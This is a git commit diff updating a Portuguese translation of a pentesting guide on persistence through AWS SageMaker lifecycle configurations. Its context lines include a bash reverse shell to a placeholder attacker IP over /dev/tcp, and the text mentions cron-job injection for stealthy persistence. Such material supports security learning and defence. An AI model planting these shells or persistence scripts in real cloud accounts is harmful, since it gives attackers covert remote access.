Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem

This commit is contained in:
Translator
2025-07-22 19:00:53 +00:00
parent 9f546609c8
commit 0bb9a937b1

View File

@@ -1,4 +1,4 @@
# AWS - Persistência da Configuração do Ciclo de Vida do SageMaker
# AWS - SageMaker Lifecycle Configuration Persistence
## Visão Geral das Técnicas de Persistência
@@ -70,9 +70,9 @@ aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --s
}
}'
```
## Tipos de Configurações de Ciclo de Vida de Aplicativos do Studio
## Tipos de Configurações de Ciclo de Vida do Aplicativo Studio
As configurações de ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicativos do SageMaker Studio:
As configurações de ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicativos SageMaker Studio:
* JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como shells reversos e jobs cron.
* KernelGateway: Executa durante o lançamento do aplicativo de gateway de kernel, útil para configuração inicial ou acesso persistente.
* CodeEditor: Aplica-se ao Editor de Código (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.
@@ -118,7 +118,7 @@ nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Persistência de Cron Job via Configuração de Ciclo de Vida
Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo uma persistência furtiva.
Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo uma persistência discreta.
### Exemplo de Payload:
```